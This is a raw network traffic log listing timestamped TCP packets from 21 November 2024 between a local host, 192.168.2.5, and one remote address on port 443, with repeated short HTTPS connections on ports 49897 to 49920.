Nov 21, 2024 14:27:18.850610018 CET	49897	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:18.850651979 CET	443	49897	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:18.850684881 CET	443	49897	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:18.853508949 CET	49902	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:18.853604078 CET	443	49902	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:18.853682041 CET	49902	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:18.853857040 CET	49902	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:18.853894949 CET	443	49902	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:18.944120884 CET	443	49898	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:18.971534014 CET	49898	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:18.971563101 CET	443	49898	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:18.971998930 CET	49898	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:18.972006083 CET	443	49898	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:19.041616917 CET	443	49899	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:19.081912041 CET	49899	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:19.107531071 CET	49899	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:19.107558966 CET	443	49899	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:19.108055115 CET	49899	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:19.108066082 CET	443	49899	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:19.213608980 CET	443	49900	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:19.246020079 CET	49900	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:19.246104002 CET	443	49900	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:19.246481895 CET	49900	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:19.246500015 CET	443	49900	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:19.388577938 CET	443	49898	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:19.391928911 CET	443	49898	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:19.392065048 CET	49898	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:19.395179987 CET	49898	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:19.395199060 CET	443	49898	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:19.395209074 CET	49898	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:19.395214081 CET	443	49898	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:19.412194967 CET	49903	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:19.412235975 CET	443	49903	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:19.412302971 CET	49903	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:19.412441969 CET	49903	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:19.412451982 CET	443	49903	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:19.477727890 CET	443	49899	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:19.480957985 CET	443	49899	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:19.480993986 CET	443	49899	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:19.481023073 CET	49899	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:19.481093884 CET	49899	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:19.481132984 CET	49899	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:19.481133938 CET	49899	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:19.481193066 CET	443	49899	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:19.481225014 CET	443	49899	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:19.483803988 CET	49904	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:19.483845949 CET	443	49904	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:19.483966112 CET	49904	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:19.484136105 CET	49904	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:19.484164000 CET	443	49904	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:19.558839083 CET	443	49901	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:19.559298992 CET	49901	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:19.559331894 CET	443	49901	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:19.559798002 CET	49901	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:19.559804916 CET	443	49901	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:19.657887936 CET	443	49900	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:19.660999060 CET	443	49900	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:19.661077976 CET	49900	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:19.661149025 CET	49900	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:19.661149025 CET	49900	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:19.661191940 CET	443	49900	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:19.661217928 CET	443	49900	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:19.664089918 CET	49905	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:19.664124012 CET	443	49905	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:19.664185047 CET	49905	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:19.664338112 CET	49905	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:19.664350986 CET	443	49905	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:20.005033970 CET	443	49901	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:20.007976055 CET	443	49901	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:20.008063078 CET	49901	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:20.008223057 CET	49901	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:20.008223057 CET	49901	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:20.008249998 CET	443	49901	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:20.008260965 CET	443	49901	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:20.011291981 CET	49906	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:20.011393070 CET	443	49906	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:20.011483908 CET	49906	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:20.011663914 CET	49906	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:20.011699915 CET	443	49906	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:20.705396891 CET	443	49902	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:20.705939054 CET	49902	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:20.705977917 CET	443	49902	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:20.706417084 CET	49902	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:20.706422091 CET	443	49902	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:21.176187038 CET	443	49902	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:21.179116011 CET	443	49902	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:21.179223061 CET	49902	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:21.179286003 CET	49902	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:21.179307938 CET	443	49902	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:21.179327965 CET	49902	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:21.179335117 CET	443	49902	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:21.182169914 CET	49907	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:21.182210922 CET	443	49907	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:21.182312012 CET	49907	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:21.182504892 CET	49907	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:21.182512045 CET	443	49907	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:21.195059061 CET	443	49903	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:21.195528984 CET	49903	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:21.195549965 CET	443	49903	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:21.195980072 CET	49903	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:21.195985079 CET	443	49903	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:21.266936064 CET	443	49904	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:21.267524958 CET	49904	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:21.267548084 CET	443	49904	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:21.267918110 CET	49904	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:21.267926931 CET	443	49904	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:21.452721119 CET	443	49905	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:21.453363895 CET	49905	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:21.453386068 CET	443	49905	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:21.453846931 CET	49905	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:21.453851938 CET	443	49905	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:21.643207073 CET	443	49903	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:21.646379948 CET	443	49903	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:21.646455050 CET	443	49903	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:21.646475077 CET	49903	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:21.646542072 CET	49903	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:21.648565054 CET	49903	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:21.648577929 CET	443	49903	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:21.648590088 CET	49903	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:21.648593903 CET	443	49903	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:21.658195972 CET	49908	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:21.658219099 CET	443	49908	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:21.658279896 CET	49908	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:21.658901930 CET	49908	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:21.658919096 CET	443	49908	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:21.714762926 CET	443	49904	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:21.717853069 CET	443	49904	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:21.717932940 CET	49904	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:21.718198061 CET	49904	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:21.718257904 CET	443	49904	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:21.718287945 CET	49904	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:21.718302965 CET	443	49904	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:21.757308006 CET	49909	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:21.757363081 CET	443	49909	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:21.757425070 CET	49909	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:21.757769108 CET	49909	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:21.757786036 CET	443	49909	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:21.899812937 CET	443	49905	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:21.900160074 CET	443	49905	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:21.900250912 CET	49905	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:21.900286913 CET	443	49905	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:21.900315046 CET	443	49905	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:21.900371075 CET	49905	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:21.901736975 CET	443	49906	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:21.907546043 CET	49905	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:21.907569885 CET	443	49905	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:21.907584906 CET	49905	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:21.907592058 CET	443	49905	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:21.942512035 CET	49906	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:21.980154037 CET	49906	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:21.980186939 CET	443	49906	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:21.984241009 CET	49906	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:21.984256029 CET	443	49906	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:22.113527060 CET	49910	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:22.113564968 CET	443	49910	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:22.113682985 CET	49910	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:22.114089012 CET	49910	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:22.114104986 CET	443	49910	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:22.352813005 CET	443	49906	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:22.356360912 CET	443	49906	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:22.356581926 CET	49906	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:22.356581926 CET	49906	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:22.356581926 CET	49906	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:22.359957933 CET	49911	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:22.360012054 CET	443	49911	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:22.360111952 CET	49911	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:22.360359907 CET	49911	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:22.360378027 CET	443	49911	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:22.662115097 CET	49906	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:22.662148952 CET	443	49906	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:23.030766010 CET	443	49907	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:23.031569004 CET	49907	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:23.031599045 CET	443	49907	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:23.032006025 CET	49907	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:23.032013893 CET	443	49907	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:23.493762016 CET	443	49907	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:23.496865988 CET	443	49907	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:23.496951103 CET	443	49907	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:23.496990919 CET	49907	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:23.497049093 CET	49907	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:23.497107983 CET	49907	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:23.497133017 CET	443	49907	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:23.497148037 CET	49907	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:23.497153997 CET	443	49907	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:23.500546932 CET	49912	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:23.500638008 CET	443	49912	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:23.500746012 CET	49912	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:23.500955105 CET	49912	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:23.500988007 CET	443	49912	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:23.510010958 CET	443	49908	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:23.510514975 CET	49908	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:23.510544062 CET	443	49908	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:23.510979891 CET	49908	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:23.510984898 CET	443	49908	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:23.547142029 CET	443	49909	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:23.547776937 CET	49909	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:23.547817945 CET	443	49909	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:23.548253059 CET	49909	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:23.548259974 CET	443	49909	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:23.836354017 CET	443	49910	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:23.836983919 CET	49910	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:23.837042093 CET	443	49910	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:23.837594032 CET	49910	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:23.837608099 CET	443	49910	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:23.964167118 CET	443	49908	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:23.967152119 CET	443	49908	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:23.967222929 CET	49908	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:23.967284918 CET	49908	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:23.967284918 CET	49908	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:23.967338085 CET	443	49908	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:23.967364073 CET	443	49908	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:23.970328093 CET	49913	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:23.970401049 CET	443	49913	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:23.970478058 CET	49913	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:23.970634937 CET	49913	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:23.970664024 CET	443	49913	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:23.997165918 CET	443	49909	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:24.000375032 CET	443	49909	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:24.000437975 CET	49909	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:24.000521898 CET	443	49909	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:24.000564098 CET	443	49909	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:24.000622034 CET	49909	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:24.000673056 CET	49909	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:24.000673056 CET	49909	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:24.000706911 CET	443	49909	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:24.000729084 CET	443	49909	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:24.004534006 CET	49914	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:24.004559994 CET	443	49914	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:24.004631996 CET	49914	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:24.004841089 CET	49914	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:24.004853964 CET	443	49914	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:24.089503050 CET	443	49911	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:24.090141058 CET	49911	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:24.090162039 CET	443	49911	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:24.090749025 CET	49911	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:24.090763092 CET	443	49911	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:24.273104906 CET	443	49910	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:24.276137114 CET	443	49910	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:24.276216030 CET	49910	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:24.276252031 CET	49910	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:24.276272058 CET	443	49910	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:24.276285887 CET	49910	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:24.276293993 CET	443	49910	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:24.279517889 CET	49915	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:24.279601097 CET	443	49915	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:24.279706001 CET	49915	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:24.279889107 CET	49915	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:24.279922009 CET	443	49915	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:24.527106047 CET	443	49911	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:24.530200958 CET	443	49911	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:24.530278921 CET	49911	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:24.530311108 CET	443	49911	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:24.530380011 CET	49911	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:24.530441046 CET	49911	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:24.530483961 CET	443	49911	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:24.530512094 CET	49911	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:24.530527115 CET	443	49911	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:24.533607960 CET	49916	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:24.533634901 CET	443	49916	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:24.533716917 CET	49916	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:24.533879042 CET	49916	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:24.533890009 CET	443	49916	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:25.283667088 CET	443	49912	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:25.284297943 CET	49912	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:25.284342051 CET	443	49912	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:25.286264896 CET	49912	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:25.286277056 CET	443	49912	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:25.733179092 CET	443	49912	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:25.736243010 CET	443	49912	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:25.736329079 CET	49912	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:25.736413002 CET	49912	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:25.736413002 CET	49912	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:25.736457109 CET	443	49912	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:25.736484051 CET	443	49912	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:25.739881039 CET	49917	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:25.739968061 CET	443	49917	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:25.740050077 CET	49917	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:25.740207911 CET	49917	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:25.740226984 CET	443	49917	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:25.815469980 CET	443	49913	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:25.816271067 CET	49913	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:25.816298962 CET	443	49913	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:25.816888094 CET	49913	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:25.816894054 CET	443	49913	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:25.829514980 CET	443	49914	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:25.829974890 CET	49914	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:25.830013990 CET	443	49914	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:25.830501080 CET	49914	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:25.830514908 CET	443	49914	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:26.066883087 CET	443	49915	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:26.067559958 CET	49915	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:26.067594051 CET	443	49915	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:26.068195105 CET	49915	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:26.068212986 CET	443	49915	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:26.258723974 CET	443	49916	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:26.259377956 CET	49916	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:26.259391069 CET	443	49916	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:26.259990931 CET	49916	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:26.259994984 CET	443	49916	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:26.268049002 CET	443	49913	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:26.271198988 CET	443	49913	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:26.271294117 CET	49913	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:26.271294117 CET	49913	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:26.271374941 CET	49913	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:26.271409035 CET	443	49913	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:26.273345947 CET	443	49914	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:26.274087906 CET	49918	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:26.274110079 CET	443	49918	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:26.274194956 CET	49918	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:26.274369001 CET	49918	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:26.274382114 CET	443	49918	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:26.276357889 CET	443	49914	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:26.276437998 CET	49914	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:26.276499987 CET	49914	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:26.276499987 CET	49914	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:26.276529074 CET	443	49914	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:26.276552916 CET	443	49914	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:26.278990030 CET	49919	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:26.279031992 CET	443	49919	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:26.279099941 CET	49919	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:26.279254913 CET	49919	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:26.279272079 CET	443	49919	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:26.509717941 CET	443	49915	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:26.512824059 CET	443	49915	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:26.512933016 CET	49915	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:26.512938976 CET	443	49915	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:26.513008118 CET	49915	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:26.513070107 CET	49915	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:26.513117075 CET	443	49915	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:26.513148069 CET	49915	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:26.513163090 CET	443	49915	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:26.516145945 CET	49920	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:26.516191959 CET	443	49920	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:26.516267061 CET	49920	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:26.516410112 CET	49920	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:26.516429901 CET	443	49920	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:26.694546938 CET	443	49916	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:26.694649935 CET	443	49916	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:26.694715023 CET	49916	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:26.694972038 CET	49916	443	192.168.2.5	13.107.246.45
